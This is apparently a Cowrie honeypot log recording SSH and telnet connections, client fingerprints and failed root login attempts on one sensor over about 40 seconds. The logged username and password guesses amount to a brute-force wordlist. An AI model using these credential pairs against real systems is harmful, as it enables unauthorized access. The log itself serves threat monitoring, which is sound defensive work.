{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:50.500748Z","src_ip":"106.251.244.178","session":"851f26722b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:50.701253Z","src_ip":"106.251.244.178","session":"851f26722b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starwars","message":"login attempt [root/starwars] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:51.534618Z","src_ip":"106.251.244.178","session":"851f26722b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:52.738321Z","src_ip":"106.251.244.178","session":"851f26722b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42990,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae3eced6be4","protocol":"telnet","message":"New connection: 192.119.13.58:42990 (10.17.0.5:23) [session: eae3eced6be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:54.433002Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49752,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db79819168f","protocol":"telnet","message":"New connection: 192.119.13.58:49752 (10.17.0.5:23) [session: 5db79819168f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:56.027826Z"}
{"eventid":"cowrie.session.closed","duration":33.94339346885681,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:56.268738Z","src_ip":"192.119.13.58","session":"69c90a415716","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.904815435409546,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:56.852386Z","src_ip":"192.119.13.58","session":"6a84ca428d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54782,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cd395b59dde","protocol":"telnet","message":"New connection: 192.119.13.58:54782 (10.17.0.5:23) [session: 8cd395b59dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:57.301267Z"}
{"eventid":"cowrie.session.closed","duration":35.953561782836914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:44:59.685299Z","src_ip":"192.119.13.58","session":"aef8700fe4db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38966,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbf8b2aa0158","protocol":"telnet","message":"New connection: 192.119.13.58:38966 (10.17.0.5:23) [session: fbf8b2aa0158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:00.014632Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":38022,"dst_ip":"10.17.0.5","dst_port":22,"session":"6981ad195cd5","protocol":"ssh","message":"New connection: 158.178.141.16:38022 (10.17.0.5:22) [session: 6981ad195cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:02.866726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:02.873157Z","src_ip":"158.178.141.16","session":"6981ad195cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:03.082429Z","src_ip":"158.178.141.16","session":"6981ad195cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54810,"dst_ip":"10.17.0.5","dst_port":23,"session":"df03f9035d2c","protocol":"telnet","message":"New connection: 192.119.13.58:54810 (10.17.0.5:23) [session: df03f9035d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:03.438440Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@2017","message":"login attempt [root/Root@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:03.951818Z","src_ip":"158.178.141.16","session":"6981ad195cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57424,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b25719eb9a6","protocol":"telnet","message":"New connection: 192.119.13.58:57424 (10.17.0.5:23) [session: 0b25719eb9a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:03.969723Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58432,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f5a05e9ede","protocol":"telnet","message":"New connection: 192.119.13.58:58432 (10.17.0.5:23) [session: e1f5a05e9ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:04.332982Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:05.166076Z","src_ip":"158.178.141.16","session":"6981ad195cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":40644,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b2ffdbdd8ca","protocol":"ssh","message":"New connection: 186.68.83.105:40644 (10.17.0.5:22) [session: 7b2ffdbdd8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:07.367487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:07.372320Z","src_ip":"186.68.83.105","session":"7b2ffdbdd8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:07.462700Z","src_ip":"186.68.83.105","session":"7b2ffdbdd8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:07.856285Z","src_ip":"186.68.83.105","session":"7b2ffdbdd8ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.71243619918823,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:08.320547Z","src_ip":"192.119.13.58","session":"9395a76fa4cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:08.950103Z","src_ip":"186.68.83.105","session":"7b2ffdbdd8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58770,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb059c2a21fe","protocol":"telnet","message":"New connection: 192.119.13.58:58770 (10.17.0.5:23) [session: fb059c2a21fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:10.871736Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36408,"dst_ip":"10.17.0.5","dst_port":23,"session":"043fcab0c884","protocol":"telnet","message":"New connection: 192.119.13.58:36408 (10.17.0.5:23) [session: 043fcab0c884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:12.047850Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":34274,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ed24ed4722f","protocol":"ssh","message":"New connection: 103.172.78.219:34274 (10.17.0.5:22) [session: 2ed24ed4722f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:16.062943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:16.068576Z","src_ip":"103.172.78.219","session":"2ed24ed4722f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.979645013809204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:16.157701Z","src_ip":"192.119.13.58","session":"cff251786ad8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:16.330378Z","src_ip":"103.172.78.219","session":"2ed24ed4722f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbnfkbr","message":"login attempt [root/dbnfkbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:17.118514Z","src_ip":"103.172.78.219","session":"2ed24ed4722f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:18.382957Z","src_ip":"103.172.78.219","session":"2ed24ed4722f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49346,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3892800a76a","protocol":"telnet","message":"New connection: 192.119.13.58:49346 (10.17.0.5:23) [session: c3892800a76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:20.512435Z"}
{"eventid":"cowrie.session.closed","duration":50.95301103591919,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:20.572066Z","src_ip":"192.119.13.58","session":"ec95b0629ddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":34074,"dst_ip":"10.17.0.5","dst_port":22,"session":"292272102c26","protocol":"ssh","message":"New connection: 43.134.175.218:34074 (10.17.0.5:22) [session: 292272102c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:20.681334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:20.686611Z","src_ip":"43.134.175.218","session":"292272102c26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:20.924834Z","src_ip":"43.134.175.218","session":"292272102c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tty0","message":"login attempt [root/tty0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:21.911585Z","src_ip":"43.134.175.218","session":"292272102c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57378,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec5060be927","protocol":"telnet","message":"New connection: 192.119.13.58:57378 (10.17.0.5:23) [session: 9ec5060be927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:22.315846Z"}
{"eventid":"cowrie.session.closed","duration":46.76331973075867,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:23.102409Z","src_ip":"192.119.13.58","session":"4eef79cef300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:23.153138Z","src_ip":"43.134.175.218","session":"292272102c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39744,"dst_ip":"10.17.0.5","dst_port":23,"session":"9984193c4371","protocol":"telnet","message":"New connection: 192.119.13.58:39744 (10.17.0.5:23) [session: 9984193c4371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:24.352828Z"}
{"eventid":"cowrie.session.closed","duration":46.032451152801514,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:25.059358Z","src_ip":"192.119.13.58","session":"2ddcfebd1afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":35284,"dst_ip":"10.17.0.5","dst_port":22,"session":"b23e2189507a","protocol":"ssh","message":"New connection: 45.66.52.41:35284 (10.17.0.5:22) [session: b23e2189507a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:25.864266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:25.869293Z","src_ip":"45.66.52.41","session":"b23e2189507a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:26.046298Z","src_ip":"45.66.52.41","session":"b23e2189507a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2012","message":"login attempt [root/root2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:26.931834Z","src_ip":"45.66.52.41","session":"b23e2189507a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52516,"dst_ip":"10.17.0.5","dst_port":23,"session":"30a6288699b5","protocol":"telnet","message":"New connection: 192.119.13.58:52516 (10.17.0.5:23) [session: 30a6288699b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:27.811490Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:28.112723Z","src_ip":"45.66.52.41","session":"b23e2189507a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.759684562683105,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:28.192560Z","src_ip":"192.119.13.58","session":"eae3eced6be4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.8440101146698,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:28.271976Z","src_ip":"192.119.13.58","session":"857be0594aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58882,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5191219daf1","protocol":"telnet","message":"New connection: 192.119.13.58:58882 (10.17.0.5:23) [session: f5191219daf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:29.009974Z"}
{"eventid":"cowrie.session.closed","duration":31.762502193450928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:45:31.776987Z","src_ip":"192.119.13.58","session":"fbf8b2aa0158","protocol":"telnet"}
